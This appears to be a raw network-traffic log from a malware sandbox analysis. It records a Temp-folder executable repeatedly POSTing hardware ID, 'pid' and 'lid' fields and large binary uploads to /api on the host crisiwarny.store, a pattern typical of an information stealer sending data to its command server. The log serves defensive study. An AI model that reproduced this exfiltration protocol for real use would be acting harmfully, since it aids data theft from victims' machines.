2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 33 66 38 66 0d 0a 55 59 4d 38 44 61 69 34 4a 78 4f 75 2f 61 76 54 79 58 55 79 68 71 38 62 79 37 38 6e 41 4c 34 2f 74 68 4e 44 61 2f 79 76 62 36 4e 57 52 66 7a 4e 4b 47 6f 70 55 4f 6e 39 61 4a 63 61 38 65 42 44 50 78 70 49 37 4c 4f 53 62 4f 32 6c 45 59 56 36 62 6a 7a 6e 70 4a 44 46 2f 30 78 74 4f 61 65 53 61 54 30 6f 46 67 76 32 4e 30 55 75 57 6b 68 2f 34 51 4d 2b 50 37 59 54 51 32 76 38 72 32 72 74 45 34 56 36 44 6a 79 33 35 4e 4f 70 2f 79 7a 43 6a 53 57 31 6c 57 37 59 6d 2b 71 31 67 71 30 76 5a 46 50 47 76 32 67 38 5a 43 53 54 67 7a 77 4e 62 48 6b 6e 30 75 6c 2f 72 64 42 4a 4e 44 41 46 4c 46 6a 4a 50 61 57 53 66 62 77 6e 31 4a 56 74 2b 72 63 6e 49 39 62 42 75 68 39 68 65 6d 65 54 71 37 74 35 56 56 6c 77 59 38 53 73 43 35 33 73 70 63 46 74 4c 47 58 54 42 Data Ascii: 3f8fUYM8Dai4JxOu/avTyXUyhq8by78nAL4/thNDa/yvb6NWRfzNKGopUOn9aJca8eBDPxpI7LOSbO2lEYV6bjznpJDF/0xtOaeSaT0oFgv2N0UuWkh/4QM+P7YTQ2v8r2rtE4V6Djy35NOp/yzCjSW1lW7Ym+q1gq0vZFPGv2g8ZCSTgzwNbHkn0ul/rdBJNDAFLFjJPaWSfbwn1JVt+rcnI9bBuh9hemeTq7t5VVlwY8SsC53spcFtLGXTB
2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 6d 6f 52 4e 42 66 51 30 76 75 53 5a 54 4b 48 33 6f 6c 67 6d 33 63 63 66 74 57 73 6a 2f 35 55 62 75 37 48 59 42 46 58 6f 73 72 33 4a 77 47 34 32 7a 68 7a 77 39 64 35 5a 36 66 79 70 43 6e 4f 59 7a 68 32 37 59 43 76 67 6d 42 75 32 74 35 68 4d 48 65 65 74 38 5a 2b 4f 57 77 33 34 50 37 37 6c 6d 45 6d 74 2b 71 46 4f 4a 39 2b 50 57 2f 78 70 4e 37 4c 4f 53 5a 43 7a 67 6c 42 58 77 61 48 39 6c 70 42 66 48 72 6b 67 2f 76 50 51 52 36 57 37 2f 51 6f 76 30 38 55 63 76 32 63 72 2f 35 59 41 74 37 6d 51 52 78 33 39 71 2f 65 44 68 45 77 45 39 6a 57 30 34 70 78 50 70 66 2b 33 51 57 75 57 6a 78 4b 6b 4c 6e 65 79 74 67 4b 75 6b 34 70 59 56 66 44 6b 35 4e 47 48 52 55 57 68 66 37 6e 6d 6b 55 47 6a 2f 61 35 50 4a 74 6a 4b 48 37 74 69 4c 2f 4b 56 44 37 36 39 6b 45 49 5a 34 36 6e Data Ascii: moRNBfQ0vuSZTKH3olgm3ccftWsj/5Ubu7HYBFXosr3JwG42zhzw9d5Z6fypCnOYzh27YCvgmBu2t5hMHeet8Z+OWw34P77lmEmt+qFOJ9+PW/xpN7LOSZCzglBXwaH9lpBfHrkg/vPQR6W7/Qov08Ucv2cr/5YAt7mQRx39q/eDhEwE9jW04pxPpf+3QWuWjxKkLneytgKuk4pYVfDk5NGHRUWhf7nmkUGj/a5PJtjKH7tiL/KVD769kEIZ46n
2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 51 37 2f 4d 62 48 73 6e 45 33 70 74 65 56 4e 4d 35 69 58 56 5a 74 30 49 76 53 42 47 49 32 33 6d 42 74 56 38 4f 54 6b 30 59 64 46 52 61 46 2f 76 65 61 61 54 61 7a 2f 72 55 30 6f 32 63 4d 52 73 57 4d 72 2b 35 49 4d 71 71 4b 65 52 42 58 67 70 50 4b 64 6b 6b 63 41 2b 54 50 77 70 4e 42 48 73 62 76 39 43 68 72 50 7a 31 57 6a 49 44 61 79 6b 51 58 34 36 4e 68 46 47 50 32 6d 38 70 47 42 53 67 48 79 4f 4c 62 73 6b 55 4f 73 2b 4b 42 4d 4b 74 6a 44 48 37 74 6d 4a 66 79 62 44 37 79 32 6e 67 70 62 72 36 33 6c 30 64 67 4a 4e 2f 51 78 75 65 6d 57 54 62 2f 54 6c 41 6f 30 6c 74 5a 56 75 32 4a 76 71 74 59 4e 73 37 69 55 54 78 33 71 71 2f 57 62 69 45 59 4b 36 7a 36 2f 34 35 64 4c 70 50 53 72 54 79 58 4b 79 42 36 33 5a 69 62 38 6b 45 6e 32 38 4a 39 53 56 62 66 71 79 35 4b 4f Data Ascii: Q7/MbHsnE3pteVNM5iXVZt0IvSBGI23mBtV8OTk0YdFRaF/veaaTaz/rU0o2cMRsWMr+5IMqqKeRBXgpPKdkkcA+TPwpNBHsbv9ChrPz1WjIDaykQX46NhFGP2m8pGBSgHyOLbskUOs+KBMKtjDH7tmJfybD7y2ngpbr63l0dgJN/QxuemWTb/TlAo0ltZVu2JvqtYNs7iUTx3qq/WbiEYK6z6/45dLpPSrTyXKyB63Zib8kEn28J9SVbfqy5KO
2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 75 2b 2b 4a 46 50 36 62 58 6c 54 54 4f 59 6c 31 57 4e 65 43 6a 31 6d 55 75 52 74 34 4e 4c 48 2b 79 68 38 64 47 66 42 78 79 35 4f 4c 79 71 79 41 43 6b 39 36 68 4f 4f 64 54 50 46 62 56 70 4a 65 43 5a 42 72 57 7a 6d 45 38 48 37 72 6a 79 6d 6f 56 4b 41 66 59 77 76 4f 4b 61 41 4f 65 37 6f 6c 4a 72 67 49 38 35 76 33 38 6c 73 4c 45 54 72 72 65 55 57 78 37 69 70 72 32 4f 7a 6c 42 46 2f 6a 50 77 73 74 42 41 71 50 61 33 54 79 72 53 78 52 69 30 59 53 72 33 6d 51 32 38 75 35 5a 59 47 2b 43 71 2b 35 71 42 54 41 62 79 4e 62 37 6a 67 67 44 6e 75 36 4a 53 61 34 43 50 50 36 64 76 49 76 37 55 4a 37 4f 6d 6e 77 67 30 34 61 48 36 6e 5a 59 4a 47 72 63 6d 38 4f 32 63 41 50 47 37 72 45 51 6e 32 38 67 64 74 47 73 76 2b 5a 59 47 73 72 36 66 57 42 2f 6a 6f 4f 2b 65 67 30 51 42 39 Data Ascii: u++JFP6bXlTTOYl1WNeCj1mUuRt4NLH+yh8dGfBxy5OLyqyACk96hOOdTPFbVpJeCZBrWzmE8H7rjymoVKAfYwvOKaAOe7olJrgI85v38lsLETrreUWx7ipr2OzlBF/jPwstBAqPa3TyrSxRi0YSr3mQ28u5ZYG+Cq+5qBTAbyNb7jggDnu6JSa4CPP6dvIv7UJ7Omnwg04aH6nZYJGrcm8O2cAPG7rEQn28gdtGsv+ZYGsr6fWB/joO+eg0QB9
2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 51 52 36 57 37 2f 51 6f 72 33 4d 4d 57 75 32 41 67 2f 35 6b 4f 73 37 2b 53 52 41 66 67 72 2f 57 64 69 45 51 58 38 7a 57 69 34 35 6c 4e 70 2f 4f 33 53 57 75 57 6a 78 4b 6b 4c 6e 65 79 70 41 4f 37 76 49 35 48 47 71 2b 31 73 34 6a 41 54 67 6d 35 5a 2f 44 34 67 6b 43 69 2b 36 4a 45 4f 64 6e 48 47 72 5a 75 4b 66 6d 63 43 72 47 30 6c 6b 4d 54 37 71 66 38 6b 49 42 4d 42 66 41 74 76 61 72 65 41 4b 37 6a 35 52 4a 72 37 38 4d 65 6a 57 30 35 73 6f 6c 48 6f 66 43 66 52 6c 57 33 36 76 79 44 6a 55 45 42 2b 54 4b 32 34 5a 46 42 71 76 75 6c 53 53 76 64 78 42 71 36 61 53 4c 34 6e 77 43 71 75 4a 78 59 46 65 4f 75 76 64 2f 41 54 68 32 35 5a 2f 44 61 6b 30 75 6c 2b 36 68 66 61 38 65 42 44 50 78 70 49 37 4c 4f 53 62 43 37 6b 30 77 65 37 4b 6e 7a 6d 6f 70 47 43 76 4d 35 74 75 Data Ascii: QR6W7/Qor3MMWu2Ag/5kOs7+SRAfgr/WdiEQX8zWi45lNp/O3SWuWjxKkLneypAO7vI5HGq+1s4jATgm5Z/D4gkCi+6JEOdnHGrZuKfmcCrG0lkMT7qf8kIBMBfAtvareAK7j5RJr78MejW05solHofCfRlW36vyDjUEB+TK24ZFBqvulSSvdxBq6aSL4nwCquJxYFeOuvd/ATh25Z/Dak0ul+6hfa8eBDPxpI7LOSbC7k0we7KnzmopGCvM5tu
2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 38 4b 6b 49 4b 74 58 66 45 76 77 67 62 2f 54 57 55 65 6a 2b 32 45 34 45 72 2f 4b 74 77 39 73 63 56 71 35 76 34 76 58 65 57 65 6e 74 35 52 4a 35 6c 6f 38 48 2f 44 5a 76 74 5a 55 62 71 72 61 62 58 42 61 6f 6c 4d 4f 78 69 30 55 47 39 54 36 33 71 74 34 41 70 72 76 39 63 32 76 62 33 51 66 7a 66 7a 6e 2f 68 67 37 30 75 49 6c 48 47 61 2f 6b 76 64 32 45 51 67 6e 38 4f 4b 43 6c 67 6c 43 69 39 37 4d 47 4c 38 71 50 57 2f 78 2f 4a 50 32 45 42 37 2f 2f 69 56 77 59 2f 36 6e 34 6c 73 78 42 46 50 51 7a 38 4b 54 51 56 61 4c 33 6f 30 63 2b 6c 39 34 44 76 33 67 6f 76 70 34 59 74 62 7a 59 64 56 75 76 73 72 33 4a 77 48 77 47 39 7a 47 33 2f 49 45 4e 69 66 43 70 53 53 66 5a 79 46 58 79 4c 69 6d 79 7a 6c 72 32 38 4a 78 62 56 62 66 36 72 38 72 56 47 6c 4b 70 62 61 2b 6b 69 51 43 Data Ascii: 8KkIKtXfEvwgb/TWUej+2E4Er/Ktw9scVq5v4vXeWent5RJ5lo8H/DZvtZUbqrabXBaolMOxi0UG9T63qt4Aprv9c2vb3Qfzfzn/hg70uIlHGa/kvd2EQgn8OKClglCi97MGL8qPW/x/JP2EB7//iVwY/6n4lsxBFPQz8KTQVaL3o0c+l94Dv3govp4YtbzYdVuvsr3JwHwG9zG3/IENifCpSSfZyFXyLimyzlr28JxbVbf6r8rVGlKpba+kiQC
2024-10-26 03:55:52 UTC	1369	IN	Data Raw: 6e 69 57 6a 77 66 38 4e 6d 2b 31 6d 41 53 35 73 35 5a 4a 42 2f 32 73 2f 6f 65 44 44 6a 76 48 47 72 33 6e 6c 55 36 75 78 5a 74 72 49 63 6a 43 47 72 74 51 45 63 57 48 44 71 6a 79 76 6b 6b 44 37 4f 71 7a 30 5a 67 4a 58 62 6b 65 75 76 71 64 54 36 36 37 36 77 6f 76 6d 4a 64 56 6d 57 4d 69 39 35 67 4f 2b 70 47 53 57 68 6a 67 72 62 33 66 77 45 56 46 6f 58 2b 78 34 49 42 4e 70 76 7a 70 54 54 48 66 6a 31 76 38 59 47 2b 71 31 67 69 79 6f 4a 56 46 45 71 4f 73 38 35 2f 41 56 6b 76 67 66 36 61 71 79 42 50 6e 75 37 63 4b 63 35 69 49 47 37 46 76 4c 50 79 56 47 36 71 32 6d 31 77 57 71 4a 54 44 74 49 31 45 41 50 63 34 6a 74 53 78 53 72 6e 32 71 6b 31 70 2b 4d 67 44 76 31 41 52 78 59 63 4f 71 50 4b 2b 53 51 50 73 36 72 50 52 6d 41 6c 64 75 52 36 36 2b 70 31 50 72 72 6d 46 Data Ascii: niWjwf8Nm+1mAS5s5ZJB/2s/oeDDjvHGr3nlU6uxZtrIcjCGrtQEcWHDqjyvkkD7Oqz0ZgJXbkeuvqdT6676wovmJdVmWMi95gO+pGSWhjgrb3fwEVFoX+x4IBNpvzpTTHfj1v8YG+q1giyoJVFEqOs85/AVkvgf6aqyBPnu7cKc5iIG7FvLPyVG6q2m1wWqJTDtI1EAPc4jtSxSrn2qk1p+MgDv1ARxYcOqPK+SQPs6rPRmAlduR66+p1PrrmF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50037	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:53 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1287 Host: crisiwarny.store
2024-10-26 03:55:53 UTC	1287	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:54 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iof87fcs2qt2ibn60j0ijtmhbi; expires=Tue, 18 Feb 2025 21:42:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FlSPPpCgHtrPfrTerBhd5Cd%2Bo44SikbTNVhnblY7%2F529%2FzczToeGfpDK9Ql60Lb5ei5ZFD66gkt8VYfDpMwFB5us9U8cEgI0271UaP%2FxX0d384Sgetj7pdlzHWmMXSqWAnHT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87836d6cfa6c13-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1230&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2204&delivery_rate=2409317&cwnd=251&unsent_bytes=0&cid=12ae7dc122997172&ts=525&x=0"
2024-10-26 03:55:54 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50036	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:53 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: crisiwarny.store
2024-10-26 03:55:53 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:53 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-26 03:55:54 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0cpjkqeodqhl1p29dnveabvaua; expires=Tue, 18 Feb 2025 21:42:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JzJn6xGvNDt0g9Btid%2BXPdLkithAuUCCiKqlFZRbC1dxuN1HM3cGPXzdx44Fwb81pzOsQa%2Ba9F%2FzK4%2BYOuhH2aeEaiHJuj%2B5MhoDXKeGs4u%2FxWGuoRlD36bn40xNaH%2FvLSud"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87836f3f921c7b-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130869&sent=8&recv=21&lost=0&retrans=0&sent_bytes=2838&recv_bytes=19130&delivery_rate=23299&cwnd=32&unsent_bytes=0&cid=1171a0cc9fd34e5c&ts=603&x=0"
2024-10-26 03:55:54 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50040	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:55 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: crisiwarny.store
2024-10-26 03:55:55 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:56 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lb0hhbe0n58b0efnsb8gvmvcqv; expires=Tue, 18 Feb 2025 21:42:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VT40BYv6OKPK0HGYOPyTnEzVYV3EiY2fSaDEsLCN1dqS0qH26oiNZ16%2F7hl5FkF%2Fp5d%2BtDtu497GHOrQpU7Vix5Ac1tO0QBsyhfFb5e8yi2Er%2FjXpLtsDx9XB5FI53Jqjcs6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d878379dd677771-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103940&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9728&delivery_rate=27841&cwnd=32&unsent_bytes=0&cid=e08cbebc5eb42d5d&ts=435&x=0"
2024-10-26 03:55:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50041	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:56 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549837 Host: crisiwarny.store
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: 36 18 f9 61 48 51 9a 26 0c e6 69 2a c2 1b 42 f3 5f 3a 8f 6b ff 5b d9 33 82 3b 81 93 b5 ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd Data Ascii: 6aHQ&i*B_:k[3;x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8e
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: 10 58 65 41 d0 7e 60 42 36 54 f0 4d fe e2 98 7e 14 13 64 db cd c1 84 55 b6 86 b9 f3 5e ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a Data Ascii: XeA~`B6TM~dU^iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;j
